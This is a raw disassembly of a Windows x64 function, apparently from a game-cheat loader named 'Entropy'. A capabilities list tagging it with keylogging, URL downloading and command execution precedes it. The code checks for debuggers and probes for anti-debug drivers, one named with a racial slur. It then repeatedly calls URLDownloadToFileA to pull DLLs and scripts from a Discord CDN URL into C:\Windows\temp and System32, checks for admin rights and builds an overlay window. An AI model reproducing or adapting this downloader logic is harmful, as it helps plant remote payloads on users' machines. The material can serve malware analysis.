Function at 0x14004f750
Capabilities:
Create directory
Create process on windows
Create thread
Download url
Encode data using base64
Execute command
Hide graphical window
Log keystrokes via polling
Query environment variable
Receive data
Terminate process

Disassembly:
push rbp
push rbx
push r13
push r14
lea rbp, [rsp - 0x1dc28]
mov eax, 0x1dd28
call fcn.1401225b0
sub rsp, rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14004f77b
call fcn.14004db30
call fcn.14004cd60
lea rax, str..kdstinker
xor r13d, r13d
mov qword [rbp + 0x600], rax
mov ebx, r13d
lea rax, str..NiGgEr
mov qword [rbp + 0x608], rax
lea rax, str..KsDumper
mov qword [rbp + 0x610], rax
lea r14d, [r13 + 1]
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rbp + rbx*8 + 0x600]
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov r8d, r14d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x140056df2
inc rbx
cmp rbx, 3
jl 0x14004f7c0
lea rdx, [rbp + 0x1800]
mov qword [rsp + 0x20], r13
lea rdx, [rdx + 0x80]
xor r9d, r9d
lea rbx, [0x140000000]
movups xmm0, xmmword [rbx + 0x18fd50]
lea rcx, [rbx + 0x18fd50]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea r8, [rbp + 0xee8]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [0x14018fcc0]
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempchamswh0ami.dll]
mov word [rdx + 0x34], ax
lea rdx, [rbp + 0x1800]
movups xmmword [rbp + 0xef8], xmm1
movups xmmword [rbp + 0xee8], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x18fe10]
lea rcx, [rbx + 0x18fe10]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x1200]
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x850]
mov qword [rsp + 0x20], r13
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_temp_boxZ.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x1200]
movzx eax, byte [0x14018fd48]
movups xmmword [rbp + 0x850], xmm0
mov byte [rbp + 0x868], al
movsd xmm0, qword [0x14018fd40]
movsd qword [rbp + 0x860], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1197453143471034438_1199328018515112056_gcapi.dll]
lea r8, [rbp + 0x810]
movzx eax, byte [0x14018ff28]
lea rdx, [rbp + 0xf10]
movaps xmm1, xmmword [0x14018fee0]
xor r9d, r9d
movaps xmmword [rbp + 0xf10], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14018fef0]
movaps xmmword [rbp + 0xf30], xmm0
movaps xmm0, xmmword [0x14018ff10]
movaps xmmword [rbp + 0xf50], xmm0
movsd xmm0, qword [0x14018ff20]
movsd qword [rbp + 0xf60], xmm0
movups xmm0, xmmword [str.C:Windows_tempchamsvip.dll]
mov byte [rbp + 0xf68], al
mov eax, dword [0x14018fd08]
movups xmmword [rbp + 0x810], xmm0
mov dword [rbp + 0x828], eax
movsd xmm0, qword [0x14018fd00]
movzx eax, byte [0x14018fd0c]
movaps xmmword [rbp + 0xf20], xmm1
movaps xmm1, xmmword [0x14018ff00]
movsd qword [rbp + 0x820], xmm0
movaps xmmword [rbp + 0xf40], xmm1
mov byte [rbp + 0x82c], al
mov qword [rsp + 0x20], r13
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x18ff30]
lea rcx, [rbx + 0x18ff30]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1740]
mov qword [rsp + 0x20], r13
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x8f0]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [0x140190000]
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
movups xmm0, xmmword [str.C:WindowsSystem32ShaderDumper.dll]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
xor ecx, ecx
mov byte [rdx + 0x3c], al
lea rdx, [rbp + 0x1740]
movzx eax, word [0x140190010]
mov word [rbp + 0x910], ax
movzx eax, byte [0x140190012]
mov byte [rbp + 0x912], al
movups xmmword [rbp + 0x8f0], xmm0
movups xmmword [rbp + 0x900], xmm1
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190020]
lea rcx, [rbx + 0x190020]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x12c0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
mov eax, dword [rcx + 0xb0]
xor r9d, r9d
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0x870]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_temphk4x.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x12c0]
movzx eax, byte [0x14018fca8]
movups xmmword [rbp + 0x870], xmm0
mov byte [rbp + 0x888], al
movsd xmm0, qword [0x14018fca0]
movsd qword [rbp + 0x880], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x1900e0]
lea rcx, [rbx + 0x1900e0]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x1440]
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x8d0]
mov qword [rsp + 0x20], r13
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempBox3D.dll]
mov word [rdx + 0x34], ax
lea rdx, [rbp + 0x1440]
movzx eax, word [0x14018fd28]
movups xmmword [rbp + 0x8d0], xmm0
mov word [rbp + 0x8e8], ax
movsd xmm0, qword [0x14018fd20]
movsd qword [rbp + 0x8e0], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x1901a0]
lea rcx, [rbx + 0x1901a0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x15c0]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xb0]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x20]
xor r9d, r9d
lea r8, [rbp + 0x830]
movups xmm1, xmmword [rcx + 0x30]
mov qword [rsp + 0x20], r13
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempChamsRed.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0x15c0]
mov eax, dword [0x14018fce8]
mov dword [rbp + 0x848], eax
movzx eax, byte [0x14018fcec]
movups xmmword [rbp + 0x830], xmm0
mov byte [rbp + 0x84c], al
movsd xmm0, qword [0x14018fce0]
movsd qword [rbp + 0x840], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190260]
lea rcx, [rbx + 0x190260]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x1380]
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x890]
mov qword [rsp + 0x20], r13
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x1380]
movzx eax, byte [0x140190330]
movups xmmword [rbp + 0x890], xmm0
mov byte [rbp + 0x8a8], al
movsd xmm0, qword [0x140190328]
movsd qword [rbp + 0x8a0], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190340]
lea rax, [rbx + 0x190340]
lea rcx, [rbp + 0x1140]
movups xmm1, xmmword [rax + 0x10]
xor r9d, r9d
lea r8, [rbp + 0xba0]
movups xmmword [rcx], xmm0
lea rdx, [rbp + 0x1140]
mov qword [rsp + 0x20], r13
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempwin.dll]
movups xmmword [rbp + 0xba0], xmm0
movsd xmm0, qword [0x14018fc68]
movsd qword [rbp + 0xbb0], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190400]
lea rax, [rbx + 0x190400]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x18c0]
mov qword [rsp + 0x20], r13
movups xmmword [rcx], xmm0
lea r8, [rbp + 0xd98]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0x18c0]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0xb0]
mov eax, dword [rax + 0xc0]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32Macro2Awm_by_Swatzz.ahk]
movups xmmword [rcx + 0x30], xmm1
mov dword [rcx + 0x40], eax
xor ecx, ecx
movups xmm1, xmmword [0x1401904d8]
mov eax, dword [0x1401904f0]
movups xmmword [rbp + 0xd98], xmm0
mov dword [rbp + 0xdc0], eax
movsd xmm0, qword [0x1401904e8]
movups xmmword [rbp + 0xda8], xmm1
movsd qword [rbp + 0xdb8], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190500]
lea rcx, [rbx + 0x190500]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1680]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
mov rax, qword [rcx + 0xb0]
xor r9d, r9d
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0xd70]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [0x1401905d0]
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsSystem32Macrom500.ahk]
mov word [rdx + 0x38], ax
lea rdx, [rbp + 0x1680]
movzx eax, word [0x1401905e0]
mov word [rbp + 0xd90], ax
movups xmmword [rbp + 0xd70], xmm0
movups xmmword [rbp + 0xd80], xmm1
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x1905f0]
lea rcx, [rbx + 0x1905f0]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1500]
mov qword [rsp + 0x20], r13
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x7f0]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:Windows_tempRastss.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x1500]
movzx eax, word [0x14018fc88]
mov word [rbp + 0x808], ax
movzx eax, byte [0x14018fc8a]
movups xmmword [rbp + 0x7f0], xmm0
mov byte [rbp + 0x80a], al
movsd xmm0, qword [0x14018fc80]
movsd qword [rbp + 0x800], xmm0
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, str.username
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x8b0], xmm0
mov r8, 0xffffffffffffffff
movdqu xmmword [rbp + 0x8c0], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140050210
mov qword [rsp + 0x1dd50], rsi
lea rcx, [rbp + 0x8b0]
mov qword [rsp + 0x1dd58], rdi
mov rdx, rax
mov qword [rsp + 0x1dd60], r12
mov qword [rsp + 0x1dd20], r15
movaps xmmword [rsp + 0x1dd10], xmm6
movaps xmmword [rsp + 0x1dd00], xmm7
movaps xmmword [rsp + 0x1dcf0], xmm8
movaps xmmword [rsp + 0x1dce0], xmm9
movaps xmmword [rsp + 0x1dcd0], xmm10
movaps xmmword [rsp + 0x1dcc0], xmm11
movaps xmmword [rsp + 0x1dcb0], xmm12
movaps xmmword [rsp + 0x1dca0], xmm13
movaps xmmword [rsp + 0x1dc90], xmm14
movaps xmmword [rsp + 0x1dc80], xmm15
call fcn.14002f3c0
lea r8, [rbp + 0x8b0]
lea rdx, str.C:Users_
lea rcx, [rbp + 0xfc0]
call fcn.140046fe0
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.AppDataLocalTempCheat_Engine
mov rcx, rax
call fcn.14004daa0
mov qword [rbp + 0x3a8], r13
lea rcx, [rbp + 0xfc0]
mov qword [rbp + 0x3b0], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x398], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x398], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3a8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
call fcn.14002fd20
lea rcx, [rbp + 0x8b0]
call fcn.14002fd20
lea rcx, [rbp + 0x398]
call fcn.14004ead0
test al, al
jne 0x140056de9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Th__m_c
call fcn.140046d80
cmp qword [rbp + 0x3b0], 0xf
lea rdx, [rbp + 0x398]
mov r8, qword [rbp + 0x3a8]
mov rcx, rax
cmova rdx, qword [rbp + 0x398]
call fcn.140047b30
lea rdx, [0x1401906d0]
mov rcx, rax
call fcn.140046d80
lea rdx, [0x140048440]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov qword [rsp + 0x28], r13
lea r8, [0x14004b810]
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x5c8]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140056dcb
mov rcx, qword [rbp + 0x5c8]
lea rax, [rbp + 0x5c0]
mov edi, reloc.WS2_32.dll_sendto
mov dword [rbp + 0x118], r13d
mov edx, edi
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x118]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140056dcb
cmp dword [rbp + 0x118], r13d
setne al
test al, al
je 0x140056dcb
xor edx, edx
lea rcx, str.C:WindowsLOGIN
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.C:WindowsSystem32chams.dll
lea rcx, [rbp + 0x1990]
call fcn.1400484e0
lea rcx, [0x14061f780]
call fcn.1400cbe00
cmp dword [0x14061f3c8], r13d
jne 0x140050468
call fcn.1400575e0
mov rcx, rax
call fcn.140057540
mov dword [0x14061f3c8], eax
call fcn.1400575e0
mov edx, dword [0x14061f3c8]
mov rcx, rax
call fcn.140057810
cmp byte [0x14061f998], r13b
jne 0x1400504b5
lea rcx, [0x14061f9a0]
call fcn.14004db70
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp dword [0x14061f3c8], r13d
jne 0x1400504d1
call fcn.1400575e0
mov rcx, rax
call fcn.140057540
mov dword [0x14061f3c8], eax
call fcn.1400575e0
mov edx, dword [0x14061f3c8]
mov rcx, rax
call fcn.140057810
lea rax, [0x14004d220]
mov dword [rbp + 0x620], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x628], rax
xor ecx, ecx
mov dword [rbp + 0x624], 0x40
mov qword [rbp + 0x630], r13
mov qword [rbp + 0x638], r13
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x640], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x650], r13
mov qword [rbp + 0x648], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x658], rax
lea rax, str.Example
mov qword [rbp + 0x660], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x620]
mov qword [rbp + 0x668], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x104]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r13
lea r8, str.Entropy
mov qword [rsp + 0x50], r13
cdq
mov qword [rsp + 0x48], r13
sub eax, edx
mov rdx, qword [rbp + 0x660]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r13
xor ecx, ecx
mov dword [rsp + 0x38], 0x208
sar eax, 1
sub eax, 0x190
mov dword [rsp + 0x30], 0x320
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp + 0x350], rax
mov edx, 0xffffffec
mov rsi, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xffffffec
mov rcx, rsi
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
movzx r8d, byte [0x1405e8e20]
mov r9d, r14d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xorps xmm0, xmm0
lea rdx, [rbp + 0x1b0]
mov rcx, rsi
movups xmmword [rbp + 0x1b0], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, rsi
call fcn.14004b480
test al, al
jne 0x140050709
call fcn.14004b3d0
mov rdx, qword [rbp + 0x638]
mov rcx, qword [rbp + 0x660]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x398]
call fcn.14002fd20
mov eax, r14d
movaps xmm14, xmmword [rsp + 0x1dc90]
movaps xmm13, xmmword [rsp + 0x1dca0]
movaps xmm12, xmmword [rsp + 0x1dcb0]
movaps xmm11, xmmword [rsp + 0x1dcc0]
movaps xmm10, xmmword [rsp + 0x1dcd0]
movaps xmm9, xmmword [rsp + 0x1dce0]
movaps xmm8, xmmword [rsp + 0x1dcf0]
movaps xmm7, xmmword [rsp + 0x1dd00]
movaps xmm6, xmmword [rsp + 0x1dd10]
mov r15, qword [rsp + 0x1dd20]
mov r12, qword [rsp + 0x1dd60]
mov rdi, qword [rsp + 0x1dd58]
mov rsi, qword [rsp + 0x1dd50]
movaps xmm15, xmmword [rsp + 0x1dc80]
add rsp, 0x1dd28
pop r14
pop r13
pop rbx
pop rbp
ret
mov r15d, 0xa
mov rcx, rsi
mov edx, r15d
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea r9d, [r15 - 2]
mov qword [rsp + 0x28], rdi
lea rcx, str.1.89.3_WIP
mov edx, 0x37b8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x418
call fcn.14000a580
xor ecx, ecx
call fcn.14000a0b0
call fcn.14000dce0
lea rcx, [rbp + 0x1010]
mov rdi, rax
call fcn.140021300
mov dword [rbp + 0x105c], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400252a0
movss xmm6, dword [0x1401914b8]
lea rdx, [0x140484960]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x1010]
mov r8d, 0x8574
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400226c0
mov qword [0x14061f4d0], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400252a0
movss xmm3, dword [0x14012eb68]
lea rdx, [0x140484960]
mov qword [rsp + 0x28], rax
mov r8d, 0x8574
lea rax, [rbp + 0x1010]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400226c0
